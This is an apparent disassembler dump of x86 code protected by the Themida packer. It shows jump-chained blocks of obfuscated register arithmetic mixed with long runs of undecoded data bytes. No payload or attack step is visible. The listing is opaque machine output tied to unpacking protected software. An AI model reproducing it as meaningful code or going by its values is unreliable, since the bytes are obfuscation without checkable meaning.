		dd 8D3D44F2h, 1899E9h, 0BBF5700h, 12A4809h, 243C8BFBh
		dd 0FF785AE9h, 241489FFh, 50240487h, 0F7243487h, 243487D6h
		dd 582434FFh, 0FF7C72E9h, 14EBB9FFh, 0C831485Dh, 0CD20E959h
		dd 2BFFFFFh, 57000000h,	0C3C91BFh, 0B2C7812Ah, 290ABC08h
		dd 0FA015FFAh, 4EC81h, 4890000h, 4543B824h, 0C20134C8h
		dd 582434FFh, 4C481h, 875F0000h, 0D35C2414h, 0E99C240Ch
		dd 0FFFF6B7Dh, 0F7E9F301h, 81FFFFE9h, 647C2DEAh, 0B0C28162h
		dd 1D11608h, 8ED3E9D3h,	8B66FFFFh, 0EDE9240Ch
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50ACB7:				; CODE XREF: Themida_:0050416Aj
		pop	ecx
		jmp	loc_508F8C
; ---------------------------------------------------------------------------
		db 0F7h, 0D9h, 56h
		dd 0CC5138BEh, 7C68173h, 29D92BD1h, 0C4E95EF1h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50ACD3:				; CODE XREF: Themida_:0050DDC8j
		mov	esi, 68840843h
		not	esi
		or	esi, 46D97359h
		jmp	loc_50A140
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 94h
		dd 810E3477h, 40C330C1h, 59C82980h, 0B2033505h,	1A782D0Fh
		dd 0F8291193h, 931A7805h, 3352D11h, 9C050FB2h, 5F7A1D53h
		dd 7A4BBB53h, 0D8295CCAh, 3114E9h
		db 0
; ---------------------------------------------------------------------------


loc_50AD1D:				; CODE XREF: Themida_:005083B2j
		push	ebx
		mov	bh, 0DCh
		jmp	loc_50281B
; ---------------------------------------------------------------------------


loc_50AD25:				; CODE XREF: Themida_:0050432Dj
		pop	ebx
		jmp	loc_50605E
; ---------------------------------------------------------------------------
		db 80h
		dd 0F3E935C5h, 81FFFFB6h, 70258DEBh, 24048B09h,	81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFFFAEF8h, 24048B66h
		dd 0FFF4ADE9h, 0BAEF80FFh, 34FFF888h, 9782E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AD6A:				; CODE XREF: Themida_:0050DC60j
		xor	ebp, 72A25FA6h
		and	ebp, 21451DEAh
		push	ebx
		mov	ebx, 69BF4F60h
		add	ebp, ebx
		pop	ebx
		add	ebp, 0A7B0C340h
		jmp	loc_5066EB
; ---------------------------------------------------------------------------
		dw 8966h
		dd 50662414h, 6A7BE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AD96:				; CODE XREF: Themida_:0050625Cj
		push	esi
		push	edx
		mov	edx, 755D7311h
		jmp	loc_50D24E
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 6E625B6h, 5003E7C1h,	927A23B8h, 709A2D6Eh, 0D0F775BBh
		dd 0D2DD0F7h, 488CE18Bh, 0E908E8C1h, 0FFFFBD31h, 4EEC166h
		dd 32F68166h, 0F7896637h, 0BA66525Eh, 4A665A66h, 66D2F766h
		dd 6602EAC1h, 5AC8CA81h, 0E95666h, 66000000h, 661514BEh
		dd 5E66F229h, 0E9D72966h, 0FFFFE05Ch
; ---------------------------------------------------------------------------


loc_50AE00:				; CODE XREF: Themida_:00505B5Dj
		mov	[esp], ebx
		jmp	loc_5030EB
; ---------------------------------------------------------------------------
		dd 24048F58h, 7DBCE95Ch, 0CF01FFFFh, 3075EF81h,	57591829h
		dd 42474FFh, 24048F5Fh,	0DF9E95Ch, 14890000h, 0F6CEB624h
		dd 0B1B551DEh, 0C8BEE00h, 804EE924h, 8B66FFFFh,	5450240Ch
		dd 8124048Bh, 4C4h, 64BD5500h, 0F752222Dh, 0DDF745D5h
		dd 68h,	242C2900h, 98F5815Dh, 0E9ADDDD2h, 0FFFFDA15h, 61FD6852h
		dd 0C890000h, 0B2A1B524h, 0E9EA284Eh, 0FFFFB89Bh
; ---------------------------------------------------------------------------


loc_50AE80:				; CODE XREF: Themida_:0050C200j
		mov	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5049CA
; ---------------------------------------------------------------------------
		db 80h
		dd 0F80071C7h, 515A665Bh, 0F180FCB1h, 57E98033h, 0ED042104h
		dd 0B353C828h, 94E3800Eh, 0D4F6E386h, 57E9E386h, 1FFFF6Eh
		dd 0BDB1E9E8h, 77FFFFFFh, 2434FF1Ch, 37216858h,	75E90000h
		dd 59FFFF85h, 81243C8Bh, 4C4h, 4BD5500h, 1000000h, 0EC815DEFh
		dd 4, 0FFE98CE9h, 31C331FFh, 691FE9C2h,	0E586FFFFh, 8003E5C0h
		dd 9C2CD6F5h, 0FFAF7AE9h, 240489FFh, 356359B8h,	4EC8112h
		dd 89000000h, 8B5F2404h, 0C4832404h, 0C2EEE904h, 0C89FFFFh
		dd 253CB924h, 0F181007Ah, 798B1B96h, 3A1BC981h,	0C9814001h
		dd 2DF16198h, 4E2CE181h, 565560BFh, 0B14E28BEh,	5EF58960h
		dd 815DE929h, 4ECh, 240C8900h, 57243481h, 0E95BA722h, 0FFFFD3F1h
		dd 48BC131h, 4C48324h, 42E9CD89h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50AF6F:				; CODE XREF: Themida_:00505402j
		xor	edx, 0B511287h
		push	edx
		pop	ecx
		pop	edx
		sub	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		jmp	loc_50578C
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 1000000h, 0EB8159CBh, 2, 5C241C87h, 24048966h, 0FF686CE9h
		dd 242C33FFh, 188BE9h, 5B56BD00h, 54E95BA5h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_50AFB7:				; CODE XREF: Themida_:005035AFj
		add	edi, 0DF0F0310h
		xor	esi, edi
		pop	edi
		xor	esi, 336731CFh
		sub	eax, esi
		pop	esi
		add	eax, 7745714Ah
		add	eax, edi
		sub	eax, 7745714Ah
		add	eax, 736E3AD7h
		push	ecx
		mov	ecx, 7843197Ch
		jmp	loc_50423A
; ---------------------------------------------------------------------------


loc_50AFE5:				; CODE XREF: Themida_:00509CA1j
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	1B61h
		mov	[esp], ebp
		jmp	loc_5030C5
; ---------------------------------------------------------------------------
		dd 2404895Ch, 53FE6852h, 815A29DBh, 26085AF2h, 7D98E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50B00E:				; CODE XREF: Themida_:005053EAj
		sub	ebx, 1
		shr	ebx, 4
		shl	ebx, 1
		neg	ebx
		sub	ebx, 0D1F76893h
		add	ebp, ebx
		pop	ebx
		pop	esi
		add	ebp, 4
		jmp	loc_508491
; ---------------------------------------------------------------------------
		db 30h,	0D8h, 0E9h
		dd 1E79h, 0FF67D8E9h, 36BFB9FFh, 0D1F7231Eh, 0FFE76DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50B045:				; CODE XREF: Themida_:00509ED2j
		mov	eax, [esp]
		jmp	loc_503A08
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFF9F86h, 0E924248Bh, 0FFFF6AC3h, 897C581h
		dd 92E91434h, 0ADFFFF6Ch, 0EDBE9h
		db 0
; ---------------------------------------------------------------------------


loc_50B071:				; CODE XREF: Themida_:00502B19j
		mov	[esp], ebx
		mov	ebx, ebp
		mov	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_502DD4
; ---------------------------------------------------------------------------
aAiAi		db 'ǀ',0
		dd 0CE3EE9EBh, 0B951FFFFh, 4, 0FFCA75E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50B099:				; CODE XREF: Themida_:00508811j
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_50A065
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 1350E924h, 5B540000h, 566AB951h, 0C1811F9Bh,	365767A7h
		dd 674CBA52h, 0C281460Eh, 6B0665ACh, 535AEA81h,	814A67D8h
		dd 0D0C856C2h, 0E9D10160h, 0FFFFF65Fh, 0CF87D187h, 4262F781h
		dd 5BE93C8Dh, 0BEFFFF7Ch, 13992175h, 525EF589h,	0DF0B6F68h
		dd 24148B56h, 0FF8844E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50B101:				; CODE XREF: Themida_:00508F87j
		sub	eax, 0FFFFFFFFh
		push	edx
		push	edi
		push	66813EE0h
		pop	edi
		shl	edi, 2
		neg	edi
		jmp	loc_506C94
; ---------------------------------------------------------------------------
		dd 46D8E281h, 0E2C1272Fh, 814A4204h, 2E5400EAh,	59C28110h
		dd 1C40728h, 0A0E95AD1h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_50464C
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0C15EF229h, 0EA8108E2h, 8858A1FCh, 38BDC381h, 0D3011793h
		dd 38BDEB81h, 148B1793h, 4C48324h, 2C381h, 1C330000h, 241C3124h
		dd 8B241C33h, 0F662424h, 9C2404ABh, 0FF6688E9h,	0E95455FFh
		dd 0FFFF6CAAh
; ---------------------------------------------------------------------------


loc_50B190:				; CODE XREF: Themida_:0050B67Bj
		push	ecx
		push	ebx
		push	69EA76A7h
		pop	ebx
		neg	ebx
		add	ebx, 0DDBF81EAh
		mov	ecx, ebx
		pop	ebx
		or	ecx, 205737DBh
		sub	esp, 4
		jmp	loc_507FB5
; ---------------------------------------------------------------------------
		dd 97BF57ADh, 51054145h, 9C8E9h, 2FE94600h, 51FFFFAFh
		dd 0FFD4B9E9h, 4BAFFh, 0EE810000h, 1150647Bh, 0C681D601h
		dd 1150647Bh, 8124148Bh, 4C4h, 24348700h, 0FF24248Bh, 14E92434h
		dd 81FFFFC7h, 4D04246Ch, 81512335h, 0D104246Ch,	100586Eh
		dd 81042444h, 0D1042444h, 6800586Eh, 752Bh, 0BF243C89h
		dd 4B373A5Ah, 3F41EF81h, 0F78137E8h, 5D304C8Bh,	0E781D7F7h
		dd 5AC14D9Bh, 2B61E781h, 0F7817A4Eh, 618E2F81h,	2127C781h
		dd 0E7C12E2Eh, 0E9D7F708h, 0E88h, 0B330F781h, 0E981414Eh
		dd 7F6C71C6h, 0C181F901h, 7F6C71C6h, 57EB815Fh,	8168FB51h
		dd 0FD20E8C3h, 81CB2968h, 0FD20E8EBh, 22B26868h, 14890000h
		dd 8EE95324h, 89FFFFB6h, 52512414h, 0D2F6EDB2h,	19C268h
		dd 240C8900h, 0FFB27FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50B29D:				; CODE XREF: Themida_:0050D119j
		add	ecx, 46CB40B6h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5019A5
; ---------------------------------------------------------------------------


loc_50B2AE:				; CODE XREF: Themida_:00504650j
		mov	edx, 56761651h
		sub	edx, 6D95722Eh
		not	edx
		jmp	loc_504021
; ---------------------------------------------------------------------------
		dd 0E987048Fh, 0FFFF72FDh, 0D3339D05h, 2DD80141h, 41D3339Dh
		dd 4BF575Bh, 1000000h, 4335FF8h, 24043124h, 5C240433h
		dd 65EEE953h, 0DEF7FFFFh, 0F756DEF7h, 7BE92414h, 89FFFFEAh
		dd 0B8E92424h, 87FFFF6Eh, 248B2404h, 24148724h,	2434FF5Ch
		dd 4EC8159h, 89000000h,	5954240Ch, 0FFC74EE9h, 0E78957FFh
		dd 4C781h, 0EF810000h, 4, 0FFF029E9h, 32FF64FFh, 0FF64D4E9h
		dd 0FF0188FFh, 0C8B2434h, 4C48124h, 0E9000000h,	0FFFFC222h
; ---------------------------------------------------------------------------


loc_50B350:				; CODE XREF: Themida_:005049E2j
		and	eax, ebp
		mov	ebp, [esp]
		push	0BC7h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5018F5
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0B4240489h, 6E4C0CFh, 5229C480h, 0F188E688h, 2434FF5Ah
		dd 0FFB918E9h, 0B8505DFFh, 72321A1Ch, 0E902E0C1h, 0FFFFC60Bh
		dd 5304C483h, 4BBh, 5BDA0100h, 0E9241433h, 0FFFF6C3Eh
		dd 3EE60558h, 81502405h, 49352434h, 815E4CFFh, 0FF4935F6h
		dd 0F389584Ch, 6824348Bh, 6F72h, 54240489h, 40558h, 0C0830000h
		dd 24043304h, 33240431h, 248B2404h, 640BE924h, 2D48FFFFh
		dd 1F354654h, 0C158C509h, 0C58103EDh, 218FCE06h, 6EE9EE89h
		dd 66FFFFBCh, 81240C8Bh, 4ECh, 24048900h, 714068h, 24248900h
		dd 4240481h, 0E9000000h, 15F0h
; ---------------------------------------------------------------------------


loc_50B440:				; CODE XREF: Themida_:0050A2C1j
		mov	eax, edi
		jmp	loc_50D144
; ---------------------------------------------------------------------------
		db 66h
		dd 8324148Bh, 506602C4h, 0D30E952h, 0C7310000h,	8BFE0158h
		dd 0C483243Ch, 4C68104h, 0E9000000h, 0FFFFA360h
; ---------------------------------------------------------------------------


loc_50B46C:				; CODE XREF: Themida_:00508531j
		not	dl
		jmp	loc_5029D2
; ---------------------------------------------------------------------------


loc_50B473:				; CODE XREF: Themida_:00509E35j
		pop	esp
		push	52A3h
		mov	[esp], ebx
		jmp	loc_502FD1
; ---------------------------------------------------------------------------
		db 89h,	0DEh, 0E9h
		dd 0FFFFBE18h, 2404095Ch, 637FE99Ch, 0F181FFFFh, 6C4C79DEh
		dd 0C120F181h, 1E9CC71h, 81FFFFF2h, 0C1558CE3h,	0E9DBF74Ch
		dd 0FFFFF766h, 24FDBE56h, 0EEC117D6h, 0FD03E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50B4BE:				; CODE XREF: Themida_:00504F09j
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_50B4E4
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 5FA268h, 7E2E900h, 34FF0000h, 0E9515824h, 0FFFF7644h
; ---------------------------------------------------------------------------


loc_50B4E4:				; CODE XREF: Themida_:0050B4C8j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	eax, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_502963
; ---------------------------------------------------------------------------
		db 87h
		dd 10BFE9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50B50E:				; CODE XREF: Themida_:0050AC11j
		shl	edi, 6
		sub	edi, 68F717B9h
		inc	edi
		xor	edi, 0D0A82EEEh
		xor	ebp, edi
		pop	edi
		pop	esi
		add	eax, ebp
		pop	ebp
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_50D26A
; ---------------------------------------------------------------------------


loc_50B52E:				; CODE XREF: Themida_:0050258Cj
		add	esp, 4
		mov	ecx, [eax]
		pop	eax
		jmp	loc_506E3A
; ---------------------------------------------------------------------------
		dd 0FE2CA6BBh, 5BD931ADh, 26135205h, 73E12D05h,	0C8010ECEh
		dd 0CE73E105h, 52BD550Eh, 29052613h, 0C8B5DE8h,	0AA22E924h
		dd 8B66FFFFh, 54512404h, 8B2434FFh, 0C481240Ch,	4, 50E78957h
		dd 4B1DD5B8h, 0E0C14867h, 4FF83504h, 0E8C1173Dh, 5E8C107h
		dd 638CD35h, 58C70100h,	0FFDAB7E9h, 83EE81FFh, 836EF530h
		dd 0C8904ECh, 8C47E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50B5AE:				; CODE XREF: Themida_:0050BDD9j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_509985
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 0E9243431h, 0FFFF96F2h
; ---------------------------------------------------------------------------


loc_50B5C4:				; CODE XREF: Themida_:00509C9Bj
		sub	ebx, edi
		jmp	loc_507BA5
; ---------------------------------------------------------------------------


loc_50B5CB:				; CODE XREF: Themida_:0050CECCj
		mov	esi, 52324132h
		mov	edx, 2C0937DBh
		push	edx
		dec	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, 0F375898h
		and	edx, edi
		pop	edi
		jmp	loc_509FD8
; ---------------------------------------------------------------------------
		dd 0E389535Eh, 0FFE9E1E9h, 52E189FFh, 222AECBAh, 0E578E954h
		dd 2C89FFFFh, 0CBE95424h, 54FFFFD7h, 4EC815Ah, 89000000h
		dd 4BF243Ch, 81000000h,	0B41865EAh, 68FA0172h, 17CFh, 0E9241C89h
		dd 1CBBh, 1BA268h, 0D474E900h, 0C8BFFFFh, 5E545624h, 0BB89E950h
		dd 52BBFFFFh, 8142C43Eh, 0FA62A3F3h, 0F5F38178h, 0E93A3E5Ch
		dd 1FFFh, 0BD242C89h, 494053B4h, 1507E581h, 0EDC15DEBh
		dd 0AE56E906h, 8B66FFFFh, 0E953240Ch, 1F30h
; ---------------------------------------------------------------------------


loc_50B678:				; CODE XREF: Themida_:005019B3j
		shl	edx, 1
		push	edx
		jmp	loc_50B190
; ---------------------------------------------------------------------------
		dd 5758C701h, 42474FFh,	14A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_50B68D:				; CODE XREF: Themida_:00503EB8j
		add	edi, edx
		jmp	loc_50DC0C
; ---------------------------------------------------------------------------
		dd 3E86F681h, 0EE81268Ch, 63BD7F64h, 0DEF7D6F7h, 81FFC683h
		dd 3D1A2CC6h, 0E729E900h, 0E789FFFFh, 112D68h, 240C8900h
		dd 0FF9871E9h, 0C895CFFh, 0FA6DE924h, 0C89FFFFh, 82E95324h
		dd 56FFFF9Eh, 0BF57E689h, 3BE24220h, 421CBB53h,	0EF813BE2h
		dd 60075B01h, 0C781DF29h, 60075B01h, 5FFE015Bh,	4B850h
		dd 0C6010000h, 24348758h, 9467E95Ch, 2489FFFFh,	24048124h
		dd 4, 6D95E95Bh, 0DDF6FFFFh, 0D5F6CDFEh, 0E9EFC580h, 0FFFF8CA4h
; ---------------------------------------------------------------------------


loc_50B724:				; CODE XREF: Themida_:0050C304j
		sub	eax, edi
		pop	edi
		sub	eax, 0E17A9043h
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_50C554
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 81240C8Bh, 4ECh, 24348900h, 0C681E689h, 4, 4C681h, 34870000h
		dd 24248B24h, 0C3AE9h, 242C8B00h, 146CE9h, 2434FF00h, 44876858h
		dd 34890000h, 81E68924h, 4C6h, 4EE8300h, 0E9243487h, 0FFFFC969h
; ---------------------------------------------------------------------------


loc_50B788:				; CODE XREF: Themida_:0050D239j
		push	edi
		jmp	loc_5073FB
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 2, 243C8966h, 0B66AE952h, 0EDB4FFFFh, 902E9h, 24048700h
		dd 0FFD0FAE9h, 241C8BFFh, 0FF6E03E9h, 24148BFFh, 4C481h
		dd 0E9560000h, 1557h, 31243C33h, 3C33243Ch, 0EAC05C24h
		dd 0ADC28003h, 0FF6884E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50B7D9:				; CODE XREF: Themida_:0050A9D4j
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_509AC4
; ---------------------------------------------------------------------------


loc_50B7EA:				; CODE XREF: Themida_:0050367Aj
		pop	edi
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_50D904
; ---------------------------------------------------------------------------
		db 0FFh
		dd 589D1C77h, 9C240419h, 0FF6008E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50B809:				; CODE XREF: Themida_:0050D881j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 75005B76h
		and	edx, esi
		pop	esi
		not	edx
		sub	edx, 0FEFFAFDAh


loc_50B82C:				; CODE XREF: Themida_:00509729j
					; Themida_:0050A92Ej
		push	1039h
		mov	[esp], eax
		jmp	loc_50A054
; ---------------------------------------------------------------------------
		db 0B9h, 0C0h, 2Ch
		dd 0F18144C4h, 6C77D12h, 1665E181h, 0BE567B45h,	1, 815EF129h
		dd 0D1FE16C1h, 8BCE29D1h, 0C481240Ch, 4, 815EF501h, 4C5h
		dd 242C3300h, 33242C31h, 248B242Ch, 0C8B70F24h,	4EC81h
		dd 0E9E90000h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50B887:				; CODE XREF: Themida_:0050A642j
		push	esp
		pop	ebx
		jmp	loc_504E86
; ---------------------------------------------------------------------------


loc_50B88E:				; CODE XREF: Themida_:0050813Fj
		add	[esp+4], ebx
		jmp	loc_508AB2
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2434h, 66F9F624h, 66CCB60Fh, 664A5768h, 66240C89h
		dd 66C8B60Fh, 5AE99C51h, 81FFFF5Fh, 4C4h, 0FFF83100h, 0C6E92434h
		dd 0B1FFFFCAh, 65EEE92Ah, 0EA28FFFFh, 5BFA3059h, 0F65AD388h
		dd 6A6866D3h, 4896623h,	68B9E924h, 835BFFFFh, 0C2E904C4h
		dd 51FFFF64h, 0C55BA4B9h, 0FFFABB52h, 0CB01C896h, 0E707E959h
		dd 0C89FFFFh, 43E95524h, 29FFFFC9h, 0E904246Ch,	251h, 3B6FED81h
		dd 335B30B5h, 96E9242Ch, 81FFFFA7h, 23A20F5h, 0E9EA897Bh
		dd 1726h
; ---------------------------------------------------------------------------


loc_50B930:				; CODE XREF: Themida_:0050C9E3j
		mov	esp, [esp]
		push	1FB9h
		mov	[esp], edx
		mov	edx, 3F246619h
		mov	eax, 3F24661Ah
		add	eax, 55A42F0Ah
		add	eax, 543C3490h
		sub	eax, edx
		jmp	loc_503D15
; ---------------------------------------------------------------------------
		dw 6C81h
		dd 58910424h, 91E922C7h, 59000013h, 3304C083h, 4312404h
		dd 8126E924h, 0E388FFFFh, 0F3805866h, 0BEC380D6h, 0EEE9D828h
		dd 81000004h, 0AE7E9EC3h, 0D8895022h, 0FF6B74E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50B991:				; CODE XREF: Themida_:00508D5Ej
		mov	edx, 4
		add	ecx, edx
		jmp	loc_509C86
; ---------------------------------------------------------------------------


loc_50B99D:				; CODE XREF: Themida_:0050DA78j
		not	ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5057E5
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0F452E904h, 815BFFFFh, 1A4BBEEDh, 0E9EA29FFh, 0FFFF73C6h
		dd 81E78957h, 4C7h, 96F0E900h, 0CF87FFFFh, 81CF8749h, 0B83FD1EFh
		dd 81E78165h, 0F7680A28h, 4AF781D7h, 31F254CFh,	0E8015FFDh
		dd 2DD8295Dh, 60E16E93h, 81241C8Bh, 4C4h, 32BB5300h, 0E964981Dh
		dd 0FFFFCABAh, 2A8C981h, 0C1812967h, 680911F1h,	8959CD01h
		dd 242C8BEFh, 4C481h, 0F7810000h, 754F33CAh, 0FFB814E9h
		dd 240C33FFh, 0FFE034E9h, 726EB9FFh, 0E95775B3h, 0FFFFE55Eh
		dd 2404875Dh, 0FFCBE9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50BA4D:				; CODE XREF: Themida_:00503C2Dj
		xor	ebx, 0A55D2091h
		jmp	loc_508BF1
; ---------------------------------------------------------------------------


loc_50BA58:				; CODE XREF: Themida_:00508EECj
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	7FB0h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	7FF7h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_505EC1
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 0A30F5C24h, 0E99C2404h, 0FFFF5D79h
; ---------------------------------------------------------------------------


loc_50BA98:				; CODE XREF: Themida_:0050C0A2j
		add	ecx, 1AC348E1h
		push	edi
		mov	edi, 0DF263B60h
		jmp	loc_50CF37
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 2B8h, 91ED8100h, 1728463h, 91C581C5h, 0E9728463h, 0FFFFA6D8h
; ---------------------------------------------------------------------------


loc_50BAC4:				; CODE XREF: Themida_:00508443j
		pop	ecx
		and	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_50532A
		sub	esp, 4
		jmp	loc_50554D
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 1489665Ch, 8809B624h, 148B66F1h, 2C48324h, 0FBE9C828h
		dd 5AFFFF63h, 0BB53D601h, 15811134h, 5A5BDE01h,	8704EE83h
		dd 6DE92434h, 0C0FFFF78h, 0FCE905E8h, 0ACFFFFAAh, 0EC81D830h
		dd 4, 53240C89h, 0EF80FBB7h, 0E9F9888Bh, 0FFFFE76Ah
; ---------------------------------------------------------------------------


loc_50BB30:				; CODE XREF: Themida_:00505518j
		mov	[esp], ax
		jmp	loc_501811
; ---------------------------------------------------------------------------


loc_50BB39:				; CODE XREF: Themida_:00501C20j
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5090B5
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240410h, 0FF5CACE9h, 242C8BFFh,	8F04C483h
		dd 42813042h, 0A55B5630h, 9D615D5Bh, 5C93E9C3h,	1C33FFFFh
		dd 24248B24h, 0FF62A0E9h, 6321B9FFh, 0F1816CFAh, 64E77A12h
		dd 4A02E181h, 49497911h, 0FFF144E9h, 24148BFFh,	4C481h
		dd 51500000h, 9014D3B9h, 0E9C8897Bh, 0FFFF7750h
; ---------------------------------------------------------------------------


loc_50BBB8:				; CODE XREF: Themida_:0050AA76j
		shr	ecx, 2
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_50C49E
; ---------------------------------------------------------------------------
		db 5Ch
		dd 240C8B66h, 0FFDC5EE9h, 243489FFh, 0EB6202BEh, 9E00BF16h
		dd 0F701E914h, 8BF8015Eh, 0C483243Ch, 74FF5004h, 8F580424h
		dd 23E92404h, 5D000018h, 0FF820EE9h, 0F2BD55FFh, 4513B72Bh
		dd 3880ED81h, 1AE941F9h, 64FFFF99h, 0E6E90288h,	89FFFF5Bh
		dd 0E956240Ch, 0FFFF9C04h, 0A68FD5Ah, 0FF000000h, 0E9592434h
		dd 0FFFF6809h, 0FF5BC8E9h, 2474FFFFh, 24048B04h, 4C481h
		dd 0E9E90000h, 83FFFFC4h, 0C2E904ECh, 5FFFF5Fh,	0D35FA5EEh
		dd 48BC601h, 4C48124h, 55000000h, 2BDh,	0FFEE0100h, 835D2434h
		dd 343304C4h, 24343124h, 8B243433h, 8B662424h, 41E92404h
		dd 89FFFF66h, 0E68159CEh, 17612672h, 0FFEE8146h, 0E9100021h
		dd 0FFFF949Eh
; ---------------------------------------------------------------------------


loc_50BCAC:				; CODE XREF: Themida_:0050779Cj
		push	ebx
		mov	ebx, esp
		jmp	loc_5025F2
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0FFFFFA4Ah, 0E9243489h, 0FFFF8DA3h, 0D698E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50BCCA:				; CODE XREF: Themida_:0050D8E4j
		add	eax, 682F3B63h
		shr	eax, 5
		xor	eax, 1E16F5DEh
		mov	esi, eax
		pop	eax
		dec	esi
		shr	esi, 2
		xor	esi, 6F845185h
		add	esi, 1501703Eh
		push	ecx
		mov	ecx, 63232733h
		xor	ecx, 0E1C9ED8Bh
		add	esi, ecx
		pop	ecx
		jmp	loc_5075C6
; ---------------------------------------------------------------------------
		dw 895Eh
		dd 40E95DEEh, 0FFFFFFAEh, 83582434h, 48904ECh, 83E08924h
		dd 3C8904ECh, 0D2BD5524h, 0E92AD602h, 10ECh, 5854EB80h
		dd 2DC380h, 0B3BBE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50BD32:				; CODE XREF: Themida_:00509258j
		add	[esp+4], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_505C37
; ---------------------------------------------------------------------------
		dd 8B243C87h, 0BE0F2424h, 6555E9C8h, 0DB2FFFFh,	0E920F280h
		dd 0A45h
; ---------------------------------------------------------------------------


loc_50BD5C:				; CODE XREF: Themida_:00509272j
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_5038C0
; ---------------------------------------------------------------------------
		db 89h
		dd 0CB8159CBh, 333E20C8h, 2EBC143h, 0A872F381h,	0DA313B7Ah
		dd 0BFE2815Bh, 0E92BCB01h, 0FFFFA2EAh, 0EAC14A5Bh, 76EA8107h
		dd 8901401Ch, 10A5E9D7h, 0B0500000h, 51E950F4h,	68FFFFA4h
		dd 54EEE2ABh, 592434FFh, 68E08950h, 4920h, 0FFFB49E9h
		dd 0FFEA81FFh, 0E9FFFFFFh, 0FFFF745Fh
; ---------------------------------------------------------------------------


loc_50BDC4:				; CODE XREF: Themida_:0050998Bj
